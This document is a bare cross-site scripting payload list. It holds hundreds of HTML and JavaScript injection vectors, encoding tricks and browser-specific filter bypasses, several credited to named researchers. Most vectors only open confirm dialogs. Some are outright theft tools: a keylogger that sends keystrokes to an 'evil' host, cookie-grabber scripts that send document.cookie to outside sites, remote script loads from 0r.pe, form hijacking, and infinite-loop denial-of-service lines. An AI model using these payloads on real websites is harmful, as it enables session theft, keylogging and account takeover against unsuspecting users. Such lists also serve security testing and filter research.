"><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a>
"><textarea autofocus onfocus=confirm(1)>
"><a/href=javascript&colon;co\u006efir\u006d&#40;&quot;1&quot;&#41;>clickme</a>
"><script>co\u006efir\u006d`1`</script>
"><ScRiPt>co\u006efir\u006d`1`</ScRiPt>
"><img src=x onerror=co\u006efir\u006d`1`>
"><svg/onload=co\u006efir\u006d`1`>
"><iframe/src=javascript:co\u006efir\u006d%28 1%29>
"><h1 onclick=co\u006efir\u006d(1)>Clickme</h1>
"><a href=javascript:confirm%28 1%29>Clickme</a>
"><a href="javascript:co\u006efir\u006d%28 1%29">Clickme</a>
"><textarea autofocus onfocus=co\u006efir\u006d(1)>
"><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome
"><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme
"><img/src=x%0Aonerror=confirm`1`>
"><iframe srcdoc="&lt;img src&equals;x:x onerror&equals;confirm&lpar;1&rpar;&gt;">
"><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1>
<p id=x>javascrip<x>t:confirm(<x>1)</p><math><a href="#*/=x.innerText,a" xml:base=javascript:location/*>Click HERE
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
<img src=x onerror='document.onkeypress=function(e){fetch("//evil?k="+String.fromCharCode(e.which))},this.remove();'>
<img/src=q onerror='new Function`al\ert\`1\``'>
<math><annotation-xml encoding=text/html><![CDATA[></math><!]]>
<script>var name="&quot;-confirm``//"</script>
<div style="display:none" style="behavior:url('?1')" onreadystatechange="confirm(1)">1</div>
<div style="visibility:hidden" style="behavior:url('?2')" onreadystatechange="confirm(2)">2</div>
<img onerror=event.path.pop().confirm(1) src>
    <a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='confirm(1)'/></a>
488f8<script>confirm(1)</script>e5392":null}
{"someparam":"confirm(document.cookie);"}
{"488f8{\"someparam\":\"confirm(document.cookie)":null,"\"}5392":null}
{"488f8}{\"someparam\":\"confirm(document.cookie)":null,"\"}5392":null}
} ';confirm(document.cookie);//
{"488f8<script>var initData ":null,"</script>e5392":null}
{"488f8":123} ';confirm(document.dcookie);:356b//e5392":null}
{"488f8'":123,"confirm(document.cookie)":null,"//e5392":null}
"><svg/onload=confirm(/OPENBUGBOUNTY/)>
'"--!><img src=x onerror=confirm("OPENBUGBOUNTY")> 
'"/><svg/onload=confirm(/OPENBUGBOUNTY/)>
'"><script>confirm("OPENBUGBOUNTY")</script>
'"><script>confirm("OPENBUGBOUNTY")</script>
'"><script>confirm("OPENBUGBOUNTY")</script>
'"><svg/onload=confirm(/OPENBUGBOUNTY/)>
'"><svg/onload=confirm(/OPENBUGBOUNTY/)>
'"><svg/onload=confirm(/OPENBUGBOUNTY/)>
'>"/><svg/onload=confirm(/OPENBUGBOUNTY/)>
<svg/onload=confirm(/OPENBUGBOUNTY/)>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=confirm() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=confirm("OPENBUGBOUNTY")//>\x3exss.txt
'"><svg/onload=confirm`1`>
'"><svg/onload=confirm`1`>
'"><svg/onload=confirm`1`>
'"><script>confirm`1`</script> 
><script>confirm`1`</script> 
'"><svg onload=confirm`openbugbounty`>
'"><svg onload=confirm`openbugbounty`>
'"><svg onload=confirm`openbugbounty`>
<!'/*!"/*!/'/*/"/*--!><Input/Autofocus/*/Onfocus=confirm`OPENBUGBOUNTY`//><Svg>/
'"><svg/onload=confirm(/openbugbounty/)>
"/><img src=x onerror=confirm('ZephrFishHackerOne')/>
“ onclick=confirm(1)//<button ' onclick=confirm(1)//> */ confirm(1)//
<  script > < / script>
"><script>"
<script>confirm("XSS")</script>
<<script>confirm("XSS");//<</script>
<script>confirm(document.cookie)</script>
'><script>confirm(document.cookie)</script>
'><script>confirm(document.cookie);</script>
";confirm('XSS');//
%3cscript%3econfirm("XSS");%3c/script%3e
%3cscript%3econfirm(document.cookie);%3c%2fscript%3e
%3Cscript%3Econfirm(%22X%20SS%22);%3C/script%3E
&ltscript&gtconfirm(document.cookie);</script>
&ltscript&gtconfirm(document.cookie);&ltscript&gtconfirm
<xss><script>confirm('XSS')</script></vulnerable>
<IMG%20SRC='javascript:confirm(document.cookie)'>
<IMG SRC=`javascript:confirm("'XSS'")`>
<IMG%20SRC='javasc	ript:confirm(document.cookie)'>
<IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'>
'%3CIFRAME%20SRC=javascript:confirm(%2527XSS%2527)%3E%3C/IFRAME%3E
"><script>document.location='http://your.site.com/cgi-bin/cookie.cgi?'???.cookie</script>
<![CDATA[<script>var n=0;while(true){n;}</script>]]>
<![CDATA[<]]>SCRIPT<![CDATA[>]]>confirm('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>confirm('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
<xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:confirm('XSS');">]]>
<xml ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:confirm('XSS')"&gt;</B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<img language=vbs src=<b onerror=confirm#1/1#>
New XSS vector (#Opera Specific) <sVg><scRipt %00>confirm&lpar;/@soaj1664ashar/&rpar;​​​​​​​​​​​​​​​​  
IE xss filter bypass 0day : <xml:namespace prefix=t><import namespace=t implementation=..... by @gainover1 #IE #0day  
<iframe srcdoc='&lt;svg/onload=confirm(/@80vul/)&gt;'> #chrome  
IE xss filter bypass 0day :<script/%00%00v%00%00>confirm(/@jackmasa/)</script> and %c0″//(%000000%0dconfirm(1)// #IE #0day  
new XMLHttpRequest().open("GET", "data:text/html,<svg onload=confirm(/@irsdl/)></svg>", false); #firefox #datauri  
<h1 onerror=confirm(/@0x6D6172696F/)>XSS</h1><style>*:after{content:url()}</style> #firefox  
<script for=_ event=onerror()>confirm(/@ma1/)</script><img id=_ src=> #IE  
"<a href=javascript&.x3A;confirm&(x28;1&)x29;//=>clickme #IE #xssfilter  @kinugawamasato 
Components.lookupMethod(self, 'confirm')(1) #firefox  
external.NavigateAndFind(' ',[],[]) #IE #URLredirect  
<?php header('content-type:text/html;charset=utf-7-utf-8-shift_jis');?> IE decides charset as #utf-7 @hasegawayosuke 
<meta http-equiv=refresh content="0 javascript:confirm(1)"> #opera  
<meta http-equiv=refresh content="?,javascript&colon;confirm(1)"> #chrome  
<svg contentScriptType=text/vbs><script>MsgBox"@insertScript"<i> #IE9 #svg #vbscript  
setTimeout(['confirm(/@garethheyes/)']); #chrome #safari #firefox  
<svg></ y="><x" onload=confirm('@0x6D6172696F')>  #svg 
Event.prototype[0]='@garethheyes',Event.prototype.length=1;Event.prototype.toString=[].join;onload=confirm #webkit #opera  
URL-redirect vuln == XSS ! Location:data:text/html,<svg/onload=confirm(document.domain)> #Opera @jackmasa 
<a href="data:application/x-x509-user-cert;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">click</a>​  #Chrome #XSS @RSnake 
Clipboard-hijack without script and css: http://<bdo dir=rtl>elgoog</bdo>.com  
Opera:<style>*{-o-link:'data:text/html,<svg/onload=confirm(/@garethheyes/)>';-o-link-source:current}</style><a href=1>aaa  
$=<>@mozilla.org/js/function</>;$::[<>confirm</>](/@superevr/) #firefox  
Firefox cookie xss: with(document)cookie='∼≩≭≧∯≳≲≣∽≸≸∺≸∠≯≮≥≲≲≯≲∽≡≬≥≲≴∨∱∩∾',write(cookie);  by @jackmasa 
<svg><script>location&equals;&#60&#62javascript&amp;#x3A;confirm(1)&#60&#33&#47&#62;</script> #Firefox #JustForFun  
Just don't support IE <a href=[0x0b]" onclick=confirm(1)//">click</a>  
<style>//<!--</style> -->*{x:expression(confirm(/@jackmasa/))}//<style></style>  
<!-- --!><input value="--><body/onload=`confirm(/ @jackmasa /)//`">  #IE #XSS 
Input[hidden] XSS <input type=hidden style=`x:expression(confirm(/ @garethheyes /))`> target it.  
Firefox clipboard-hijack without script and css : http://<img alt="evil/#" width=0 height=0 >  
<![<img src=x:x onerror=`confirm(/ @jackmasa /)//`]-->  
#E4X <{confirm(1)}></{confirm(2)}>.(confirm(3)).@wtf.(wtf) by @garethheyes 
#vbscript coool feature chr(&H4141)="A", Chr(7^5)=A and Chr(&O41) ='A' by @masa141421356 
({})[$='\143\157\156\163\164\162\165\143\164\157\162'][$]('\141\154\145\162\164\50/ @0x6D6172696F /\51')()  
No referer : <iframe src="javascript:'<script src=>;</script>'"></iframe>  
<svg><script>/*&midast;&sol;confirm(' @0x6D6172696F ')&sol;&sol;*/</script></svg>​  
#VBScript Event Handling: [Sub XXX_OnError MsgBox " @0x6D6172696F " End Sub]  
if(1)confirm(' @jackmasa ')}{ works in firebug and webkit's console 
<svg><script onlypossibleinopera:-)> confirm(1) #opera  by @soaj1664ashar 
<![if<iframe/onload=vbs::confirm[:]> #IE  by @0x6D6172696F, @jackmasa 
<svg><script/XL:href=&VeryThinSpace;data&colon;;;;base64;;;;&comma;&lt;&gt;啊YWx啊lc啊nQ啊oMSk啊=> mix!  #opera by @jackmasa 
<! XSS="><img src=xx:x onerror=confirm(1)//">  #Firefox #Opera #Chrome #Safari #XSS 
document.body.innerHTML=('<\000\0i\000mg src=xx:x onerror=confirm(1)>')  #IE #XSS 
header('Refresh: 0;url=javascript:confirm(1)'); 
<script language=vbs></script><img src=xx:x onerror="::confirm' @insertScript '::"> 
<a href="data:text/html,<script>eval(name)</script>" target="confirm(' @garethheyes @0x6D6172696F ')">click</a> 
#CSS expression <style>*{font-family:'Serif}';x[value=expression(confirm(URL=1));]{color:red}</style> 
#ES #FF for(location of ['javascript:confirm(/ff/)']); 
#E4X function::['location']='javascript'':confirm(/FF/)' 
HTML5 entity char <a href="javas&Tab;cri&NewLine;pt:confirm(' @garethheyes ')">test</a> 
#Firefox <a href="x:confirm(1)" id="test">click</a> <script>eval(test'')</script> by @cgvwzq 
<div style="color:rgb(''&#0;x:expression(confirm(URL=1))"></div> CSS and CSS :P 
toUpperCase XSS document.write('<ı onclıck=&#97&#108&#101&#114&#116&#40&#49&#41>asd</ı>'.toUpperCase())  by @jackmasa 
IE6-8,IE9(quick mode) with jQuery<1.7 $("button").val("<iframe src=vbscript:confirm(1)>") by @masa141421356  
aha <script src=>confirm(/IE|Opera/)</script> 
Opera bug? <img src=//\ onload=confirm(1)>  
Use 127.1 no 127.0.0.1  by @jackmasa 
IE vector location='&#118&#98&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#49&#41'  
#jQuery super less-xss,work in IE: $(URL) 6 chars  
#Bootstrap tooltip.js xss  some other plugins (e.g typeahead,popover) are also the same problem //cc @twbootstrap 
innerText DOM XSS: innerHTML=innerText  
Using IE XSS filter or Chrome xss auditor to block <meta> url redirect.  
jQuery 1.8 a new method: $.parseHTML('<img src=xx:X onerror=confirm(1)>')  
IE all version CSRF vector <img lowsrc=//google.com>  
Timing vector <img src=//ixss.sinaapp.com/sleep.php> 
Firefox data uri can inherit dom-access. <iframe src="data:D,<script>confirm(top.document.body.innerHTML)</script>">  
IE9 <script/onload=confirm(1)></script> 
Webkit and FF <style/onload=confirm(1)> 
Firefox E4X vector confirm(<xss>xs{[function::status]}s</xss>) it is said E4H would replace E4X :P 
IE8 document.write('<img src="<iframe/onload=confirm(1)>\0">') 
If you want to share your cool vector, please do not hesitate to let me know :) 
ASP trick: ?input1=<script/&in%u2119ut1=>al%u0117rt('1')</script> by @IRSDL 
<iframe srcdoc="<svg/onload=confirm(domain)>"> #chrome 20 by @0x6D6172696F  
try{*}catch(e if(confirm(1))){} by @garethheyes  
ß=ss <a href="http://ß.lv">click</a> by @_cweb  
<a href="http://www。example。com">click</a> by @_cweb  
Firefox link host dom xss https://t.co/aTtzHaaG by @garethheyes 
<a href="http://www﹒example﹒com ">click</a> by @_cweb  
history.pushState([],[],'/xssvector') HTML5 URL spoofing! 
Clickjacking with history.forward() and history.back()  by @lcamtuf 
Inertia-Clickjacking for(i=10;i>1;i--)confirm(i);new ActiveXObject("WScript.shell").Run('calc.exe',1,true); by @80vul 
XHTML Entity Hijacking [<!ENTITY nbsp "'">]  by @masa141421356 
Firefox <img src=javascript:while([{}]);> 
IE <!--[if<img src=x:x onerror=confirm(5)//]--> by @0x6D6172696F H5SC#115  
Firefox funny vector for(i=0;i<100;) find(); by @garethheyes 
<script>var location={};</script> 
IE JSON hijack with UTF-7 json={'x':'',x:location='1'} <script src=... charset=utf-7></script> 
Firefox <iframe src=view-source://xxxx.com>; with drag and drop 
<button form=hijack_form_id formaction=//evil style="position:absolute;left:0;top:0;width:100%;height:100%"><plaintext> form hijacking <img src='//evil by @lcamtuf 
Webkit <iframe> viewsource attribute:  // <iframe viewsource src="//test.de"></iframe> by @0x6D6172696F 
DOM clobbering:<form name=location > clobbered location object on IE. 
DOM clobbering:<form name=document><image name=body> clobbered document->body 
<isindex formaction=javascript:confirm(1)> by @jackmasa 
Classic IE backtick DOM XSS: <img src="xx:x" alt="``onerror=confirm(1)"><script>document.body.innerHTML=''</script> 
Firefox <a href="https://4294967298915183000">click</a>=>google by @garethheyes 
<a href="data:text/html;base64xoxoxox,<body/onload=confirm(1)>">click</a> by @kkotowicz 
Opera <a href="data:text/html;base64,PHN2Zy萨9vbmxv晕YWQ<>>9YWxlc>>>nQoMSk">click</a> variant base64 encode. by @jackmasa 
Opera <svg><image x:href="data:image/svg-xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='confirm(1)'%3E%3C/svg%3E"> by LeverOne H5SC#88 
Webkit and Opera <a href="\/www.google.com/favicon.ico">click</a>
FF <a href="//ⓜⓜⓜⓔ︒ⓜⓔ">click</a> url trick by @jackmasa 
IE <script>-{valueOf:location,toString:[].pop,0:'vbscript:confirm%281%29',length:1}</script> @thornmaker , @sirdarckcat 
<i/onclick=URL=name> IE less xss,20 chars. by @0x6D6172696F 
<a rel="noreferrer" href="//google.com">click</a>
FF <img src="jar:!/"> no referrer by @sneak_ 
No dos expression vector <i style=x:expression(confirm(URL=1))>
<svg><style>*{font-family:'<svg onload=confirm(1)>';}</style></svg>
JSLR( @garethheyes ) challenge result: 
@irsdl challenge result:  
<body onload='vbs:Set x=CreateObject("Msxml2.XMLHTTP"):x.open"GET",".":x.send:MsgBox(x.responseText)'> Vbscript XHR by @masa141421356 
XML Entity XSS  by @garethheyes 
Webkit <svg/onload=domain=id> cross-domain and less vector! example: (JSFiddle cross to JSBin) by @jackmasa 
<style>@import//evil? >>>steal me!<<< scriptless by @garethheyes 
IE <input value="<script>confirm(1)</script>" ` /> by @hasegawayosuke 
<xmp><img alt="</xmp><img src=xx:x onerror=confirm(1)//"> Classic vector by slacker :D 
<a href="#" onclick="confirm(' &#39&#41&#59&#97&#108&#101&#114&#116&#40&#50 ')">name</a> Classic html entity inject vector 
A nice opera xss: Put 65535 Bytes before and Unicode Sign  by @insertScript 
<iframe src="jar://html5sec.org/test.jar!/test.html"></iframe> Upload a jar file => Firefox XSS by @0x6D6172696F 
JS Array Hijacking with MBCS encodings ppt  by @hasegawayosuke 
<meta http-equiv="refresh" content="0;url=http://good/[>>>inj]&#59url=http://evil/[<<<inj]"> IE6-7 Inject vector by @kinugawamasato 
IE UTF7 BOM XSS <link rel=stylesheet href='data:,?*%7bx:expression(confirm(1))%7D' > by @garethheyes 
<svg><script>a='<svg/onload=confirm(1)></svg>';confirm(2)</script> by @0x6D6172696F , @jackmasa 
Opera <svg><animation x:href=javascript:confirm(1)> SVG animation vector by @0x6D6172696F 
<meta charset=gbk><script>a='xࠄ\';confirm(1)//';</script> by @garethheyes 
FF <a href="data:),< s c r i p t > a l e r t ( document.domain ) < / s c r i p t >">CLICK</a> by @0x6D6172696F 
<noscript><!--</noscript><img src=xx:x onerror=confirm(1) --> non-IE 
<svg><script xlink:href="data:,confirm(1)"> by @0x6D6172696F 
Firefox statusline spoofing<math><maction actiontype="statusline#http://google.com" href="//evil">click by LeverOne  
<svg><oooooo/oooooooooo/onload=confirm(1) > by @jackmasa 
<math><script>sgl='<img/src=xx:x onerror=confirm(1)>'</script> chrome firefox opera vector by @jackmasa 
FF <applet code=javascript:confirm('sgl')> by @jackmasa 
Nice IE DOM XSS: <div id=d><x xmlns="><body onload=confirm(1)"><script>d.innerHTML=''</script>  by LeverOne 
<script>RuntimeObject("w*")["window"]["confirm"](1);</script> IE a new method get window object! by @s_hskz 
<body onload="$})}}}});confirm(1);({0:{0:{0:function(){0({"> Chrome crazy vector! by @cgvwzq 
IE <!-- `<img/src=xx:xx onerror=confirm(1)//--!> by @jackmasa H5SC: 
<a href="javascript&colon;confirm&lpar;1&rpar;">click</a> non-IE 
<a href="feed:javascript&colon;confirm(1)">click</a> Firefox 
<link href="javascript:confirm(1)" rel="next"> Opera, pressing the spacebar execute!
[url=javascript:confirm('XSS');]click me[/url]
<script src="http://www.evilsite.org/cookiegrabber.php"></script>
<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="??(document.cookie)</script>
<script>confirm(String.fromCharCode(88,83,83))</script>
<img src=foo.png onerror=confirm(/xssed/) />   
<style>@import'javascript:confirm("XSS")';</style>   
<? echo('<scr)'; echo('ipt>confirm("XSS")</script>'); ?>   
<marquee><script>confirm('XSS')</script></marquee>   
<IMG SRC="jav&#x09;ascript:confirm('XSS');">   
<IMG SRC="jav&#x0A;ascript:confirm('XSS');">   
<IMG SRC="jav&#x0D;ascript:confirm('XSS');
<body onLoad="confirm('XSS');"   
[color=red' onmouseover="confirm('xss')"]mouse over[/color] 
window.confirm("Bonjour !");   
<div style="x:expression((window.r==1)?'':eval('r=1;   
confirm(String.fromCharCode(88,83,83));'))">   
<iframe<?php echo chr(11)?> onload=confirm('XSS')></iframe>   
"><script confirm(String.fromCharCode(88,83,83))</script>   
'>><marquee><h1>XSS</h1></marquee>   
'">><script>confirm('XSS')</script>   
'">><marquee><h1>XSS</h1></marquee>   
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:confirm('XSS');">   
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:confirm('XSS');">   
<script>var var = 1; confirm(var)</script>   
<STYLE type="text/css">BODY{background:url("javascript:confirm('XSS')")}</STYLE>   
<?='<SCRIPT>confirm("XSS")</SCRIPT>'?>   
<IMG SRC='vbscript:msgbox("XSS")'>   
" onfocus=confirm(document.domain) "> <"   
<FRAMESET><FRAME SRC="javascript:confirm('XSS');"></FRAMESET>   
<STYLE>li {list-style-image: url("javascript:confirm('XSS')");}</STYLE><UL><LI>XSS   
perl -e 'print "<SCR\0IPT>confirm("XSS")</SCR\0IPT>";' > out   
perl -e 'print "<IMG SRC=java\0script:confirm("XSS")>";' > out   
<br size="&{confirm('XSS')}">   
<scrscriptipt>confirm(1)</scrscriptipt>   
</br style=a:expression(confirm())>   
<SCRIPT>document.write("XSS");</SCRIPT>   
a="get";b="URL";c="javascript:";d="confirm('xss');";eval(a?);   
<isindex action="javas&Tab;cript:confirm(1)" type=image>
<script?=">"?="http://yoursite.com/xss.js?69,69"></script>   
<body background=javascript:'"><script>confirm(navigator.userAgent)</script>></body>   
">/XaDoS/><script>confirm(document.cookie)</script>
<script>  src="http://www.site.com/XSS.js"></script>   
">/KinG-InFeT.NeT/><script>confirm(document.cookie)</script>   
src="http://www.site.com/XSS.js"></script> 
"><BODY onload!#$%&()*~+_.,:;?@[/|]^`=confirm("XSS")>   
[color=red width=expression(confirm(123))][color]   
<BASE HREF="javascript:confirm('XSS');//">   
Execute(MsgBox(chr(88)&chr(83)&chr(83)))<   
"></iframe><script>confirm(123)</script>   
<body onLoad="while(true) confirm('XSS');">   
'"></title><script>confirm(1111)</script>   
</textarea>'"><script>confirm(document.cookie)</script>   
'""><script language="JavaScript"> confirm('X nS nS');</script>   
</script></script><<<<script><>>>><<<script>confirm(123)</script>  
<INPUT TYPE="IMAGE" SRC="javascript:confirm('XSS');">   
'></select><script>confirm(123)</script>   
'>"><script src = 'http://www.site.com/XSS.js'></script>   
<BODY onload!#$%&()*~+_.,:;?@[/|]^`=confirm("XSS")>
<SCRIPT/SRC="http://0r.pe/xss.js"></SCRIPT>
<SCRIPT SRC=//0r.pe/.j>
<iframe src=http://0r.pe/scriptlet.html <
<LINK REL="stylesheet" HREF="http://0r.pe/xss.css">
<STYLE>@import'http://0r.pe/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://0r.pe/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://0r.pe/xssmoz.xml#xss")}</STYLE>
<STYLE>@import'javascript:confirm("XSS")';</STYLE>
<a <!-- --> href="j&#x61;vascript:&#x61;lert(-1)">hello</a>
<a href="j&#x61;vascript:&#x61;lert(-1)"
<a href="j&#00097;vascript:confirm%252831337%2529">Hello</a>
<a <!-- href="j&#x61;vascript:&#x61;lert&#x28;31337&#x29;;">Hello</a>
<img src="http://www.w3schools.com/tags/planets.gif" width="145" height="126" alt="Planets" usemap="#planetmap"><map name="planetmap"><area shape="rect" coords="0,0,145,126" a-=">" href="j&#x61;vascript:&#x61;lert(-1)"></map>
" onhover="j&#x61;vascript:&#x61;lert(-1)"
"><script>confirm('test')</script>
';confirm(String.fromCharCode(88,83,83))//\';confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//></SCRIPT>--!><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>
<SCRIPT SRC=http://0r.pe/xss.js></SCRIPT>
<SCRIPT/XSS SRC="http://0r.pe/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+_.,:;?@[/|\]^`=confirm("XSS")>
<SCRIPT SRC=http://0r.pe/xss.js?<B>
confirm(a.source)</SCRIPT>
<LAYER SRC="http://0r.pe/
scriptlet.html"></LAYER>
<STYLE>li {list-style-image: url("javascript:confirm('XSS')");}</STYLE><UL><LI>XSS
<IMG SRC="mocha:[code]">
<IMG STYLE="xss:expr/*XSS*ession(confirm('XSS'))">
exp/*<A STYLE='no\xss:noxss("**");
xss:&#101;x&#x2F;*XSS*//**pression(confirm("XSS"))'>
<OBJECT TYPE="text/x-scriptlet" DATA="http://0r.pe/scriptlet.html"></OBJECT>
<EMBED SRC="http://0r.pe/xss.swf" AllowScriptAccess="always"></EMBED>
<HTML xmlns:xss>
<?import namespace="xss" implementation="http://0r.pe/xss.htc">
<xss:xss>XSS</xss:xss>
</HTML>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:confirm('XSS');">]]>
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:confirm('XSS')"&gt;</B></I></XML>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;confirm(&quot;XSS&quot;)&lt;/SCRIPT&gt;">
</BODY></HTML>
<SCRIPT SRC="http://0r.pe/xss.jpg"></SCRIPT>
<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;confirm('XSS')&lt;/SCRIPT&gt;">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD><SCRIPT>confirm('XSS');</SCRIPT>
<SCRIPT a=">" SRC="http://0r.pe/xss.js"></SCRIPT>
<SCRIPT =">" SRC="http://0r.pe/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://0r.pe/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://0r.pe/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://0r.pe/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://0r.pe/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://0r.pe/xss.js"></SCRIPT>
<A HREF="h
tt	p://6&#9;6.000146.0x7.147/">XSS</A>
<A HREF="//www.google.com/">XSS</A>
<A HREF="//google">XSS</A>
<A HREF="http://0r.pe@google">XSS</A>
<A HREF="http://google:0r.pe">XSS</A>
<A HREF="http://google.com/">XSS</A>
<A HREF="http://www.google.com./">XSS</A>
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
<img/src=`%00` onerror=this.onerror=confirm
<ScRipT 5-0*3?=>confirm(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html,<svg &#111;&#110;load=confirm(1)>"
<style/onload=confirm&#40;'&#88;&#83;&#83;'&#41
<script ^__^>confirm(String.fromCharCode(49))</script
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=confirm/*iframe/src*/>
<svg contentScriptType=text/vbs><script>MsgBox
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u006worksinIE>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U
<script>++1-+?(1)</script>
<script x> confirm</script 1=2
 <--`<img/src=` onerror=confirm(1)> --!>
"><img src=x onerror=window.open('https://www.zsec.uk');>
<math><a xlink:href="//0r.pe">click
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik></object>
1<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
x"</title><img src%3dx onerror%3dconfirm(1)>
<script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22); xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{ var c; if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) ) confirm(c[1]); }catch(e){} }; xdr.send(); </script>
<iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() { return document.cookie }}); confirm(Safe.get());</script>
<script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click'; document.getElementById(%22safe123%22).click=function()+{confirm(Safe.get());} document.getElementById(%22safe123%22).click(test); </script>
<script> (function (o) { function exploit(x) { if (x !== null) confirm('User cookie is ' %2B x); else console.log('fail'); } o.onclick = function (e) { e.__defineGetter__('isTrusted', function () { return true; }); exploit(Safe.get()); }; var e = document.createEvent('MouseEvent'); e.initEvent('click', true, true); o.dispatchEvent(e); })(document.getElementById('safe123')); </script>
<script> function b() { return Safe.get(); } confirm(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script>
<script> function foo(elem, doc, text) { elem.onclick = function (e) { e.__defineGetter__(text[0], function () { return true }) confirm(Safe.get()); }; var event = doc.createEvent(text[1]); event.initEvent(text[2], true, true); elem.dispatchEvent(event); } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> #
<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe> ?
